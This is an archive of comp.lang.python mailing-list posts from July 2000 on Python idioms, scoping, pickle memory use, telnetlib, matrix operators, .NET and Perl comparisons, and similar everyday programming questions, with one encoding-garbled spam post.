In-Reply-To: <39806045.F67EBD04@wag.caltech.edu>; from rpm@wag.caltech.edu on Thu, Jul 27, 2000 at 09:16:05AM -0700
References: <39806045.F67EBD04@wag.caltech.edu>
Message-ID: <20000727232911.Y266@xs4all.nl>

On Thu, Jul 27, 2000 at 09:16:05AM -0700, Richard P. Muller wrote:

> One of these days I'm going to write an article called "Zen and the Art
> of Python". In the meantime, I'll leave you with this quote, taken from
> the PythonLabs website:

> "Python is the most efficient language I've ever used. It's 10 times
> better than any of the other tools I have used. It's free, it's
> object-oriented, it adapts to everything, it runs on everything. There
> is almost an indescribable 'quality without a name' attraction on my
> part."
>  --Bruce Eckel, Author of Thinking in Java

Let's not forget Tim's "Python Philosphy":

"
Beautiful is better than ugly.
Explicit is better than implicit.
Simple is better than complex.
Complex is better than complicated.
Flat is better than nested.
Sparse is better than dense.
Readability counts.
Special cases aren't special enough to break the rules.
Although practicality beats purity.
Errors should never pass silently.
Unless explicitly silenced.
In the face of ambiguity, refuse the temptation to guess.
There should be one-- and preferably only one --obvious way to do it.
Although that way may not be obvious at first unless you're Dutch.
Now is better than never.
Although never is often better than *right* now.
If the implementation is hard to explain, it's a bad idea.
If the implementation is easy to explain, it may be a good idea.
Namespaces are one honking great idea -- let's do more of those!

dict-is-short-for-dictator-cuz-gui-was-already-in-use-ly y'rs  - tim
"

Reading *and understanding* all of the guidelines (or is that guidolines? ;)
makes Python incredibly obvious and predicatble. Or at least it makes
obvious why you already think Python is incredibly obvious and predictable ;)

-- 
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!



From mallor at 3DProgrammer.com  Tue Jul 18 15:20:59 2000
From: mallor at 3DProgrammer.com (Mallor)
Date: Tue, 18 Jul 2000 19:20:59 GMT
Subject: Python in game development?
Message-ID: <v62d5.580$GQ1.26151@newsread2.prod.itd.earthlink.net>

Are any of you game developers out there using Python as your game engine's
embedded scripting language?  I am wondering what drove your decision to use
Python instead of other embeddable scripting languages?  I'd like to hear what
your overriding concerns were, and also what they are now, having put Python to
the test.

--
Cheers,             Infernal Troublemaker                    Troll
Mallor              "By simple mistake, mortals themselves amuse."





From mtebeka at intel.com  Tue Jul  4 02:21:53 2000
From: mtebeka at intel.com (Miki Tebeka)
Date: Tue, 4 Jul 2000 09:21:53 +0300
Subject: Using an extention DLL
Message-ID: <Pine.WNT.4.21.0007032147480.315-100000@ilsnt0396.iil.intel.com>

Hello All,

Maybe I missed it in the FAQ but:
I've downloaded unicode.dll which is a unicode module (suprize, suprize
:-)

Now, what do I need to do in order to user it from Python?
(Where to place it, how to load it, etc.)

Thanks.

Bye.
------------------------------------------------------------------------------
Smile, damn it, smile.

(lambda (msg)
  (case msg
	((name)		"Miki Tebeka")
	((email)	"tebeka at lycosmail.com")
	((homepage)	"http://www.tebeka.freeservers.com")
	((quote)	"I don't suffer from insanity, I enjoy every minute of it.")))



From neilh at scintilla.org  Tue Jul 11 20:20:30 2000
From: neilh at scintilla.org (Neil Hodgson)
Date: Wed, 12 Jul 2000 00:20:30 GMT
Subject: Microsoft's C# (Sharp) & .NET -- A Heads Up
References: <qJ165.8938$nZ5.153196@typhoon.southeast.rr.com> <395a7440.132798875@nntp.interaccess.com> <39597A25.8BF553C@san.rr.com> <slrn8lj56i.l52.thomas@centurion.xs4all.nl> <395d728e.117049078@nntp.interaccess.com> <395D7E14.B18EC77D@san.rr.com> <3968fadf.299209218@nntp.interaccess.com> <396A1436.3B6BD73B@sage.att.com> <Epxa5.13351$Tb7.89807@news-server.bigpond.net.au> <8kf4o5$fao$1@nnrp1.deja.com>
Message-ID: <iROa5.14159$Tb7.95278@news-server.bigpond.net.au>

> Do you know where I can get information on Microsoft's IL? Thanks,

   As yet, there is no real documentation for IL. It is mentioned in several
reports on the current Microsoft Professional Developers Conference and in
some of the papers associated with the conference.

   A reasonably interesting document is from Bertrand Meyers + pals:
http://msdn.microsoft.com/library/default.asp?URL=/library/techart/PDC_eiffe
l.htm
    """The core of the technology consists of a run time that interprets
and/or compiles byte code (the virtual machine's internal language, also
known as "IL") with metadata. The metadata describes each component part of
the system, including the prototype for all its methods, fields, or events.
"""

   One report at http://www.codeproject.com/ says """As all languages now
compile to the same result, performance for all languages from C# and VB to
Python and Eiffel will have exactly the same performance. """. I don't
really believe this as the different capabilities of the different languages
will lead to different performance. Hoever, as all languages will be using
some common substrate code for features like memory management and exception
handling, performance levels for the different languages will be closer than
before.

   The highlight of the conference output for me was this ASP code:

<%@ page language="COBOL" %>
<script runat="server">
       OBJECT.
       DATA DIVISION.
       WORKING-STORAGE SECTION.
       77 FONT-SIZE PIC S9(9) COMP-5.
       END OBJECT.
</script>
<% PERFORM VARYING FONT-SIZE FROM 1 BY 1 UNTIL FONT-SIZE > 7 %>
<font size="<%=FONT-SIZE%>"> Hello COBOL world! </font> <br>
<% END-PERFORM. %>

   Neil





From max at alcyone.com  Fri Jul 28 20:37:43 2000
From: max at alcyone.com (Erik Max Francis)
Date: Fri, 28 Jul 2000 17:37:43 -0700
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <39814767.FFEFE5D0@infercor.no> <slrn8o37v3.3ok.grey@teleute.rpglink.com> <3981DB97.E367C81E@alcyone.com> <so3qid5o0b176@corp.supernews.com> <ur98e6mer.fsf@vfa.com> <slrn8o3tar.49c.grey@teleute.rpglink.com>
Message-ID: <39822757.A5803B9B@alcyone.com>

Steve Lamb wrote:

>     Mmmm, in as far as I can read that, yes.  It is the operation that
> determines the type of the data, not the data in and of itself.

Not in a strongly typed language like Python, it doesn't.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, US / 37 20 N 121 53 W / ICQ16063900 / &tSftDotIotE
/  \ One completely overcomes only what one assimilates.
\__/ Andre Gide
    Fat Boy and Little Man / http://www.fatboyandlittleman.com/
 Watch Fat Boy and Little Man go about their antics.


From breiter at usf.Uni-Osnabrueck.DE  Mon Jul 17 06:05:55 2000
From: breiter at usf.Uni-Osnabrueck.DE (Bernhard Reiter)
Date: 17 Jul 2000 10:05:55 GMT
Subject: wxDesigner: Commercial dialog editor for wxWindows and wxPython
References: <39700FD0.3C368827@ruf.uni-freiburg.de>
    <39779151.1066402235@news.online.no>
Message-ID: <8kulq3$lro$1@newsserver.rrzn.uni-hannover.de>

There is a free software wxPython GUI builder: 

		Boa-Constructor.

	http://sourceforge.net/project/?group_id=1909
	http://boa-constructor.sourceforge.net/

wxDesigner is not free software it is not only commercial but
proprietory. So it is not the way to go.
I supported Mark Hammond with pythonwin, because he wrote free
software. I cannot support wxDesigner.

We should help making Boa-Constructor even better.
(For the people into it, the CVS version was finally updated.
Work on the 0.0.4 release is going on. Do not let the low version
number fool you.)
	Bernhard

In article <39779151.1066402235 at news.online.no>,
	thomas at cintra.no (Thomas Weholt) writes:

> This is just what Python needs; helper for GUI programming. A single
> user licence costs $69 if I remember correctly, which is probably ok,
> at least for commercial purposes. ( Nowhere near PythonWorks insane
> price-tag ) 
> 
> It would, of course, be better if it was free, 



> On Sat, 15 Jul 2000 09:16:32 +0200, Robert Roebling
> <roebling at ruf.uni-freiburg.de> wrote:

>>[I am using this list, since the python-announce list is no
>> longer functional.]
>>
>>I would like to announce wxDesigner 1.0, a commercial program
>>that can be used in connection with the free C++ GUI wxWindows
>>library and its populare Python bindings called wxPython.
-- 
Professional Service around Free Software                (intevation.net)  
The FreeGIS Project				            (freegis.org)
Association for a Free Informational Infrastructure            (ffii.org)


From webmaster at in852.com  Thu Jul  6 12:46:04 2000
From: webmaster at in852.com (webmaster)
Date: Fri, 07 Jul 2000 00:46:04 +0800
Subject: in852.com - 5
Message-ID: <3964B7CC.EA985951@in852.com>

[ ???? ]

?T???????? http://www.in852.com
?????T???? http://www.ec852.com

in852?S?I?G
(1) ???????P???~?e???|?? (Printers?BScanner?B?q???C??????)?C

(2) ???W???I?j????
?]?A???????????~?B???s?q?????~?B?y?????~?????C

(3) ?????? Free Mail
?u?n?|???? POP ?? SMTP ???? mail.in852.com?A?K?i?????q Mail Box

(4) ???I???e
?T???????y???T?B???g?@???B?C?????a?B???????T?B?q??????
?n???U?????@?????????????????T?s?????C




From olivierS.dagenaisP at canadaA.comM  Wed Jul 19 20:51:20 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Thu, 20 Jul 2000 00:51:20 GMT
Subject: iterating over lines in a file
References: <Uvqd5.21615$DZ4.69024@news.corecomm.net> <hMrd5.49275$e6.2860918@pouncer.easynews.com>
Message-ID: <c2sd5.1006$Kv6.37310@news20.bellglobal.com>

You can get rid of the initial read if you have a function that returns
true/false and one of the parameters is passed by reference to be the actual
item.  I'm not sure Python does by-reference arguments, though...

For example (I'm not sure this works, think of it as a pseudo-example...):

def enumerate ( retval ):
    if outOfElements():
        return 0
    else:
        retval = nextElement()
        return 1

Then you call it like so:

while enumerate ( currentValue ):
    print currentValue


--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


"Roger Upole" <rupole at compaq.net> wrote in message
news:hMrd5.49275$e6.2860918 at pouncer.easynews.com...
> Using an initial read is a common enough idiom in any language.
>
> f=open('filename','r')
> fline = f.readline()
> while fline:
>     ....
>     fline = f.readline()
>
>               Roger Upole
>
> "nobody" <no at bo.dy> wrote in message
> news:Uvqd5.21615$DZ4.69024 at news.corecomm.net...
> > assume i want to iterate a block of code over every line in a text file,
> > and that i don't want to snarf the whole thing into memory for fear
> > of coredumps or whatever. in perl (and many others) there is a simple,
> > common idiom:
> >
> > while (line = <FILE>) { block; }
> >
> > this doesn't seem to have a simple, direct analog in python. searching
> > around on the web i found a solution at faqts.com (though this newbie
> > might like to see it explained, but whatever works):
> >
> > class Reader:
> >     def __init__(self, source):
> >         self.source = source
> >     def readline(self):
> >         line = self.source.readline()
> >         self.line = line
> >         return line             # may be empty, thus false
> >
> > file = Reader(open("filename")) # i might have got this worng...?
> >
> > while (file.readline()):
> >     line = file.line
> >
> > now, this seems to me like an awful lot of typing just to get around
> > the fact that assignments in python do not seem to be expressions
> > returning the value assigned. since that is thus in several other
> > languages, and since it gives rise to several common idioms of this
> > type, i can only assume that there must be some good reason for
> > breaking this pattern in python; i just can't see what it could
> > possibly be.
> >
> > could somebody enlighten me, please? and is there any easier way to
> > iterate over lines in a file without resorting to ugly break statements?
> >
>
>




From jtoy at tcgfinancial.com  Thu Jul 27 08:41:55 2000
From: jtoy at tcgfinancial.com (jtoy)
Date: Thu, 27 Jul 2000 08:41:55 -0400
Subject: Perl is worse! (was: Python is Wierd!)
References: <8losor$4bk$1@nnrp1.deja.com> <3982fb07.279274515@news.online.no>
Message-ID: <39802E13.BF26EF5C@tcgfinancial.com>

One reason that perl is popular among hacker types is because after you get
over the huge learning curve of perl, you can write some damaging code on
your target's machines and you can write it in a way that only the writer
can read it, which is actually pretty cool.  BTW, I use python.

Thomas Weholt wrote:

> On reason for letting people use Perl in Zope is that Perl is by far
> the most used script-language for CGI. By opening for Perl Zope will
> have a potentially larger user-group and get acceptance faster.
>
> Anyway, python still rules, and I hope they could support more
> python-like scripting inside pages, like PHP, ASP etc.
>
> Thomas
>
> On Thu, 27 Jul 2000 08:44:12 GMT, Jonathan <theebh at yahoo.com> wrote:
>
> >Just finished putting down the 'Learning Python' book and tried some of
> >the examples. Somehow i happened to have the itch of grabbing
> >my 'Programming PERL' book and browse through it again to have a
> >comparison(it was a long time since i last used PERL, after i picked up
> >PHP). Looking at the Modules, Packages and Classes chapter, and - oh my
> >god - the whole thing now looks like a mess! I don't think i will ever
> >bother using PERL again (unless it's a 5-10 lines kind of thing).
> >Python's syntax now seem much 'cleaner' and intuitive. But then i guess
> >you all shld have known this by now:)
> >
> >But the irony now is that ZOPE will be 'opened' to PERL too. I have
> >read through the 'debates' going on in the zope mailing list, but it
> >still doesn't make sense - why allow Zope to be polluted by something
> >that is clearly deficient? It's like allowing people to use sand
> >instead of cement to build a house. (I haven't mastered Zope yet, so i
> >will restrain from commenting any further)
> >
> >regards,
> >jonathan
> >
> >
> >Sent via Deja.com http://www.deja.com/
> >Before you buy.

--
Jason Toy
toyboy at toy.eyep.net
jtoy at tcgfinancial.com
http://toy.eyep.net




From paul at prescod.net  Mon Jul 17 14:08:52 2000
From: paul at prescod.net (Paul Prescod)
Date: Mon, 17 Jul 2000 13:08:52 -0500
Subject: Microsoft's C# (Sharp) & .NET -- A Heads Up
References: <qJ165.8938$nZ5.153196@typhoon.southeast.rr.com> <395a7440.132798875@nntp.interaccess.com> <39597A25.8BF553C@san.rr.com> <slrn8lj56i.l52.thomas@centurion.xs4all.nl> <395d728e.117049078@nntp.interaccess.com> <395D7E14.B18EC77D@san.rr.com> <3968fadf.299209218@nntp.interaccess.com> <396A1436.3B6BD73B@sage.att.com> <Epxa5.13351$Tb7.89807@news-server.bigpond.net.au> <8kld9h$489$1@nnrp1.deja.com> <8kvdon$tit$1@slb3.atl.mindspring.net>
Message-ID: <39734BB4.8C24B6E@prescod.net>

"G. David Kuhlman" wrote:
> 
> ...
> 
> Now, I ask you, what other scripting language would enable me to
> support that breadth of users? Incredible.

IMHO, the ability to crawl into niches is the feature that makes
Python's ascendency inevitable. Any particular "killer app" could die
and the others will carry it forward. Any particular operating system
could die and Python would thrive on the remaining ones. (in fact the
(unlikely) death of Windows would drive VB programmers into Python's
arms and the (equally unlikely) death of Unix would drive Perl users to
Python) I think Python is a very safe bet, even compared to more
established languages.

-- 
 Paul Prescod - Not encumbered by corporate consensus
It's difficult to extract sense from strings, but they're the only
communication coin we can count on. 
	- http://www.cs.yale.edu/~perlis-alan/quotes.html



From kelley at bioreason.com  Fri Jul 14 07:07:52 2000
From: kelley at bioreason.com (Brian Kelley)
Date: Fri, 14 Jul 2000 12:07:52 +0100
Subject: Is pickle buggy?
References: <Pine.GSO.4.10.10007142029410.22525-100000@sundial>
Message-ID: <396EF487.3174FA3D@bioreason.com>

True enough but do you expect

>>> "AAAAAA"

to be garbage collected or not?  eval('"AAAAA"') is doing exactly that.  That
is the behavior we are seeing so I don't think your example is valid in this
case.  For intern("AAAAA") it is because that is what intern does.  But intern
wasn't being called directly.

Moshe Zadka wrote:

> On Fri, 14 Jul 2000, Brian Kelley wrote:
>
> > I don't get that behavior on windowsNT.  If I directly
> > intern(uniquestring()) then memory gets eaten extremely fast, not on the
> > order of hours but on the order of minutes.
> >
> > I'll let eval(`uniquestring()`) run for a while and see what happens.
>
> This program also eats memory quickly
>
> def do(l=[]):
>         l.append(1)
>
> while 1:
>         do()
>
> --
> Moshe Zadka <moshez at math.huji.ac.il>
> There is no GOD but Python, and HTTP is its prophet.
> http://advogato.org/person/moshez

--
Brian Kelley          Bioreason, Inc
505 995-8188 ext 207  150 Washington St Suite 303
kelley at bioreason.com  Santa Fe, NM, 87501




From colinmeeks at home.com  Thu Jul 27 15:22:16 2000
From: colinmeeks at home.com (Colin Meeks)
Date: Thu, 27 Jul 2000 19:22:16 GMT
Subject: PY to HTML
Message-ID: <IZ%f5.2964$kh.401847@news2.rdc2.on.home.com>

Does anybody know anything that will enable me to convert a Python script to
HTML, so I can display it on a webpage nicely formatted with syntax colour
coding.  Manually coding is a pain in the posterior :-)

Colin




From guido at beopen.com  Mon Jul 31 11:17:10 2000
From: guido at beopen.com (Guido van Rossum)
Date: Mon, 31 Jul 2000 15:17:10 GMT
Subject: telnetlib
References: <20000729152800.B1899@reepicheep.avalongroup.net>
Message-ID: <cp3dkqe0k6.fsf@cj20424-a.reston1.va.home.com>

Timothy Grant <tjg at exceptionalminds.com> writes:

> Everything works great until I enter the Terminal type. It appears that the
> telnet session stops receiving at that point. As you can see from the
> Traceback I receive the echo of from my write, but then don't receive the
> next prompt.
> 
> I'm guessing it has something to do with either changing the terminal type
> on telnetlib, or a timing issue, but I'm stumped at the moment.

Could you post a transcript of what the session looks like when you do
it manually???

A random "poke-and-hope" suggestion: perhaps you could use \r instead
of \n in input???

(Please don't mail me directly!!!)

--Guido van Rossum (home page: http://www.pythonlabs.com/~guido/)


From vespe at cs.tut.fi  Fri Jul 28 13:14:57 2000
From: vespe at cs.tut.fi (Vespe Savikko)
Date: 28 Jul 2000 20:14:57 +0300
Subject: The State of Python
References: <200007270038.TAA03951@cj20424-a.reston1.va.home.com>
Message-ID: <vph66pq18j2.fsf@hiirihaukka.cs.tut.fi>

Also sprach Guido van Rossum <guido at beopen.com>:

  I've placed the slides of my talk at the O'Reilly Open Source
  Convention on-line at our BeOpen PythonLabs website:
  
      http://www.pythonlabs.com/talks.html
  
The first example on slide 14, List Comprehensions:

[(x, x**2) for x in range(5)] 
     -> [(0,0), (1,1), (4,4), (9,9), (16,16)]

My intuition says the result should be:

     -> [(0,0) ,(1,1), (2,4), (3,9), (4,16)]

Is there a typo in the slide or have I missed some aspect of list
comperehensions? 

  ++Vespe

-- 
  ------------------------------------------------------------------
       Vespe Savikko     vespe at cs.tut.fi     - to doom de doomsday -


From ingoogni at CUT.THIS.OUT.home.nl  Mon Jul 24 14:32:05 2000
From: ingoogni at CUT.THIS.OUT.home.nl (ingo)
Date: Mon, 24 Jul 2000 18:32:05 GMT
Subject: f.write(chr(10)) ?
Message-ID: <8F7BD871Fseed7@212.120.66.201>

Hi all,
I'm just beginning with programming and Python. 
Writing a file using this:

>>> f=open("testpy",'wd')

>>> f.write(chr(10)) 	

>>> f.close()

When I open the file with HexEdit I see:
    	0000: 0D 0A
I expected 
    	0000: 0A

What's wrong?


Ingo

-- 
Photography: http://members.home.nl/ingoogni/
Pov-Ray    : http://members.home.nl/seed7/


From Gareth.McCaughan at pobox.com  Sun Jul 23 12:51:06 2000
From: Gareth.McCaughan at pobox.com (Gareth McCaughan)
Date: Sun, 23 Jul 2000 17:51:06 +0100
Subject: iterating over lines in a file
References: <Pine.GSO.4.10.10007220929190.6527-100000@sundial>
Message-ID: <slrn8nm8jq.26mb.Gareth.McCaughan@g.local>

Moshe Zadka wrote:

> > > Preventing world war III, when Python achieves world domination.
> > > If C is allowed to achieve world domination, WWIII will be cause by
> > > 
> > > if(everything_is_ok = 0) {
> > > 	launch_missile();
> > > }
> > 
> > No, that will *prevent* WW3 happening when it was supposed to.
> > Where do I sign up for the campaign to help C dominate the
> > world? :-)
> 
> You probably need to reread the condition.

I don't think so. |everything_is_ok| goes to 0 and
stays there, but that's OK because the missiles
can't get launched on account of the condition
being (apart from the assignment) equivalent to
    if (0) { ... }

Of course, if somewhere else there's a bit of code
like

    if (!everything_is_ok) {
      mobilize_armies();
      invade_nearest_enemy();
    }

then we might get WW3 anyway. :-)

(If your point was that there might be such a piece of
code elsewhere then of course you're right; but I didn't
misread or misunderstand the condition.)

-- 
Gareth McCaughan  Gareth.McCaughan at pobox.com
sig under construction


From jhe at webde-ag.de  Mon Jul 24 04:28:14 2000
From: jhe at webde-ag.de (Jürgen Hermann)
Date: Mon, 24 Jul 2000 10:28:14 +0200
Subject: Open letter to Guido van Rossum
References: <200007240401.AAA07578@mail3.mia.bellsouth.net> <397BE9FE.BF003A13@stroeder.com>
Message-ID: <8lgujm$rhr$1@pollux.ip-plus.net>

"Michael Str?der" <michael at stroeder.com> schrieb im Newsbeitrag
news:397BE9FE.BF003A13 at stroeder.com...
> Don't be unfair! You forgot mod_snake!
> => there are *three* competing version. ;-)

Actually, there are four.




From none at none  Fri Jul 21 20:57:42 2000
From: none at none (Eric Jacobs)
Date: Fri, 21 Jul 2000 19:57:42 -0500
Subject: Scope questions
References: <8l7vgk$73t$1@supernews.com>
Message-ID: <snhoclpb6tt61@corp.supernews.com>

In article <8l7vgk$73t$1 at supernews.com>, "Dale Strickland-Clark"
<dale at out-think.NOSPAM.co.uk> wrote:
> Could someone help me out with some scope and instantiation questions?
> 
> In moduleA we have:
> 
> varB = 1
> class classC:
>     varD = 1
>     def __init__(self):
>         self.varE = 1
> 
> As I understand it, varB appears when the module is imported and stays
> around until the end of the program.

It appears when the statement "varB = 1" is executed, which would be
at import time since the statement is not in a def.

The name varB will persist until it is deleted or the module is deleted
(which will delete the namespace dictionary it is in.)

> 
> When does varD appear? How long does it exist?

When the statement "varD = 1" is executed. A class definition doesn't
change the flow of execution. Since the statement is not in a def, it
also gets created at import time.

try...
      class z:
          print "hello world"

It exists until it is deleted or the class is deleted (again, deleting
the namespace dictionary.)

> 
> In the main code I use the above module and have:
> 
> import moduleA
> varJ = moduleA.classC
> varK = varJ.varE
> varJ = None
> 
> Again, as I understand it, varK contains a reference to varE in class
> instance varJ.

No, it does not contain a reference to varE. There is no built-in way
to reference names in Python. Rather, it is assigned a reference to
whatever object varE is referencing. (You didn't provide any code which
would create a name varE in classC, so this probably won't work.
self.varE refers to a varE in an instance of classC.)

> What happens to varK when the instance reference in varJ
> goes away?

varJ is not an instance reference. It is a reference to classC. varK
will continue to reference the object that varE was referencing even
if the name varE is nowhere to be found.

> Does the instance get deleted or is there still a reference
> to it?

There are no instances here, but classC will not be deallocated because
it is still referenced in moduleA's namespace.


If you had done:

   funcK = lambda varJ=varJ: varJ.varE

then the expression funcK() would be a sort of a "reference" to the
name varE. In this case, varJ would have its reference count
incremented because it is being referenced in funcK's default
argument list, and so it wouldn't be deleted before funcK itself
is deleted.

Hope this answers your question.




From paul at prescod.net  Mon Jul 17 15:43:01 2000
From: paul at prescod.net (Paul Prescod)
Date: Mon, 17 Jul 2000 14:43:01 -0500
Subject: Parser project
Message-ID: <397361C5.1D401DF2@prescod.net>

Here is a project for a parser hacker:

Write a Python module that can read a grammar in the syntax that Python
uses (see Grammar/Grammar in the source distribution) and generate a
parser object without any special compilation stage:

from newparser import Parser

parser=Parser( grammar="/python/src/Grammar/Grammar" )
parsetree=parser.parse( sys.argv[1] )
code=compileast( parsetree )
eval( code )

With this tool, people could easily write Python-like languages in
Python by making changes to the grammar. This would be great for those
who want to experiment with new language features without building (and
distributing) a special version of Python. Let's say you invented a
Python-like language for matrices. You would tell people to install
Python and then invoke your code like this:

python matrixLang.py helloworld.mtrx

You could imagine the same for a Python-like language for XML
processing, or static type checking, ...or just to try out a new feature
that you would like to be in some future version of Python. It's not
that doing this is impossible today, it just isn't as easy as it would
be if there were a module that could parse things at runtime and was
compatible with Python's grammar syntax. (or maybe there is and I just
don't know it!!)

Once your feature was "worked out" you might want to use a compiler
compiler or even a C-based parser to speed it up, of course.
-- 
 Paul Prescod - Not encumbered by corporate consensus
It's difficult to extract sense from strings, but they're the only
communication coin we can count on. 
	- http://www.cs.yale.edu/~perlis-alan/quotes.html



From gmcm at hypernet.com  Sat Jul 22 15:56:23 2000
From: gmcm at hypernet.com (Gordon McMillan)
Date: 22 Jul 2000 19:56:23 GMT
Subject: Newbie pythoner, with bizzare problem
References: <8F79257Amilenkomoonshinecouk@194.73.73.116> <m33dl2o39d.fsf@atrus.jesus.cam.ac.uk> <66BC56277B82FC67.B3EED2DD79D7AFED.2311A1AB38DBA14A@lp.airnews.net> <8F7974AF5gmcmhypernetcom@199.171.54.194> <3979CE02.D2744B7E@prescod.net>
Message-ID: <8F79AAFA3gmcmhypernetcom@199.171.54.154>

Paul Prescod wrote:

>Gordon McMillan wrote:
>> 
>> >What surprises me, though, is that no one ever
>> >mentions the possibility of writing
>> >  inp = __builtin__.open("c:/autoexec.bat",'r')
>> 
>> Because __builtin__ is a module and has to be imported. And someone who
>> says
>
>Well yes, but not __builtins__ (with the "s")
>
>Python 1.6a2 (#0, Apr  6 2000, 11:45:12) [MSC 32 bit (Intel)] on win32
>Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
>>>> __builtins__
><module '__builtin__' (built-in)>
>

Only sometimes. At other times __builtins__ is a dictionary, so 

inp = __builtins__.open("...") 

would fail, and you'd have to use

inp = __builtins__['open']("....")

-Gordon


From tim.hochberg at ieee.org  Tue Jul 18 21:21:10 2000
From: tim.hochberg at ieee.org (Tim Hochberg)
Date: Wed, 19 Jul 2000 01:21:10 GMT
Subject: Operators for matrix: current choices (Was Matlab vs Python ...)
References: <Pine.LNX.4.10.10007180134360.9411-100000@rock.localdomain> <ZW4d5.3559$FA2.391374@nnrp3.clara.net> <slrn8n9s6i.so.hzhu@rock.localdomain>
Message-ID: <m2u2dnkltz.fsf@spiff.home.com>

hzhu at localhost.localdomain (Huaiyu Zhu) writes:

[SNIP]

> The implicit meaning is "the dot in front means the operator is
> elementwise".  Tell a newbie this, then show him the following piece of code
> 
> [1,2] + [10,20] == [1,2,10,20]
> [1,2] .+ [10,20] == [11, 22]
> 
> Then give him two minutes for brainstorming. He probably will figure out
> what .* .- ./ do.

There is a problem with adding new operators to mean elementwise: the
current operators are already elementwise in NumPy. Either all current
NumPy code would have to be broken to fit in with this rule, or the
rule would have to become "elementwise, except when it's not", which
is somewhat less satisfying. I would suggest that it would be more
productive to add operators that are not elementwise, except that
conflicts with the rest of Python. TNSTAAFL.

Personally I think that this an overlarge crop of operators to be
adding. Since I prefer something like:

A.inv * B 

to 

A \ B

anyway, the only operator I feel is missing is the matrix
multiplication. And, conveniently, there is an appropriate opperator
already sitting around: __call__. If call were overloaded to do matrix
multiplication, then dot(A,B) (as the matrix product is written in
NumPy now) could be written:

A(B)

Similarly:

dot((A,B), C) -> A(B)(C)
dot(A, dot(B,C) -> A(B(C))

which looks pretty good to me. And it's arguably closer to paper
linear algebra notation than A*B is.

(Of course you can't do A.inv now in NumPy, but it would be relatively
simple to add).

[SNIP]

> With a little correction.  For named lists it is either
> 
> names .+ "is" .+ types
> map(lambda x,y: x+"is"+y, names, types)

There's a bit of a problem here since "is" is a sequence. I'm not sure
how you propose to have sequences of unequal length work with .X, but
I'd think this would have to be:

names .+ ["is"]*len(names) .+ types


My 12.4 cents.

-tim


From wjdandreta at worldnet.att.net  Sun Jul  2 14:18:31 2000
From: wjdandreta at worldnet.att.net (William Dandreta)
Date: Sun, 02 Jul 2000 18:18:31 GMT
Subject: Problem compiling Python 1.5.2?
Message-ID: <XHL75.3043$oh5.199044@bgtnsc04-news.ops.worldnet.att.net>

I am having the following problem getting Python 1.5.2 to work correctly.

I am able to compile and link OK.

When I run Python with the -v switch the following messages appear
-----------------------------------------------------------------
'import exceptions'  failed;  traceback:
ImportError: No modules named exceptions
Warning!  Falling back to string based exceptions
#c:\pyth152\python~1.2\lib\site.pyc matches
c:\pyth152\python~1.2\lib\site.py
import site # precompiled from c:\pyth152\python~1.2\lib\site.pyc
'import site'  failed; traceback:
Traceback (innermost last):
  File "c:\pyth152\python~1.2\lib\site.py", line 60 in ?
    import sys, os
SystemError bad argument to internal function
Python 1.5.2 (#0, Jul 2 2000, 13:27:07) [Borland] on dos
Copyright 1991-1995 Stichting Mathematisch  Centrum, Amsterdam
>>>
----------------------------------------------------------------------------
-----------
The exceptions.py file is in the search directory.  Could it be a DOS name
mangling problem?

I don't know what the SystemError means.

The Copyright does not cover to current date, I don't know if that indicates
a problem.
----------------------------------------------------------------------------
-------------------------
I played around with some arithmetic, strings, slices etc. and it all worked
correctly, so I think I am pretty close to getting it right.

When I exit Python, Win98 becomes unstable. It either locks up immediately
or a short time later in another program.

I am sure I did something wrong when I compiled but I don't have a clue as
to what that might be nor do I know what info would be useful in tracing
down the problem(s).

Any suggestions would be appreciated.

Bill




From hzhu at localhost.localdomain  Sun Jul  9 05:47:18 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Sun, 09 Jul 2000 09:47:18 GMT
Subject: [FAQTS] Python Knowledge Base Update -- July 6th, 2000
References: <20000706115459.24950.qmail@synop.com>
Message-ID: <slrn8mgin3.1k1.hzhu@localhost.localdomain>

On 6 Jul 2000 11:54:59 -0000, Fiona Czuczman <fiona at sitegnome.com> wrote:
>
>"Many thanks to Hans Nowak for providing FAQTs with his collection of
>snippets for entry into http://python.faqts.com.
>
>They can be found directly at
>
>http://www.faqts.com/knowledge-base/index.phtml/fid/538/lang/en

Congratuations for your excellent work!

Where is the original snippets collection?  And how do I submit new ones?
Shall I post them here?  I'd prefer not using web forms.

Huaiyu



From Norbert.Klamann at pobox.com.bbs  Mon Jul 17 05:10:06 2000
From: Norbert.Klamann at pobox.com.bbs (Norbert.Klamann at pobox.com.bbs)
Date: 17 Jul 2000 09:10:06 GMT
Subject: Pythonwin 132: Letters with Umlaut cause problems
Message-ID: <3bR6dU$kbr@openbazaar.net>

Hello all,
working with the new Build 132 of Pythonwin we have a minor problem.
German Umlauts are not handled properly in the editor windows.
They are shown as boxes, some of them seem to be dead keys.

The problem did not exist in previous builds.
Does anyone have a hint ?

Thanks for your time !


Norbert
--
Norbert Klamann
Klamann Software & Beratung GmbH
Erftstadt Germany
Klamann.Software at pobox.com


Sent via Deja.com http://www.deja.com/
Before you buy.


From michael at stroeder.com  Mon Jul 24 03:02:22 2000
From: michael at stroeder.com (Michael =?iso-8859-1?Q?Str=F6der?=)
Date: Mon, 24 Jul 2000 09:02:22 +0200
Subject: Open letter to Guido van Rossum
References: <200007240401.AAA07578@mail3.mia.bellsouth.net>
Message-ID: <397BE9FE.BF003A13@stroeder.com>

Dan Grassi wrote:
^^^^^^^^^^
I remember a strange PHP3 vs. Python thread...
> 
> I need Oracle on ix86,
> [..]
> Memory leaks are
> a major problem in a shop that is serving over 1 million pages a day.

You already found http://www.zope.org ?

> Then there is the mod-python/mod_pyapache mess, two competing versions

Don't be unfair! You forgot mod_snake!
=> there are *three* competing version. ;-)

Ciao, Michael.


From akuchlin at mems-exchange.org  Tue Jul 18 11:05:52 2000
From: akuchlin at mems-exchange.org (Andrew M. Kuchling)
Date: 18 Jul 2000 10:05:52 -0500
Subject: Dr. Dobb's Python-URL! - weekly Python news and links (Jul 18)
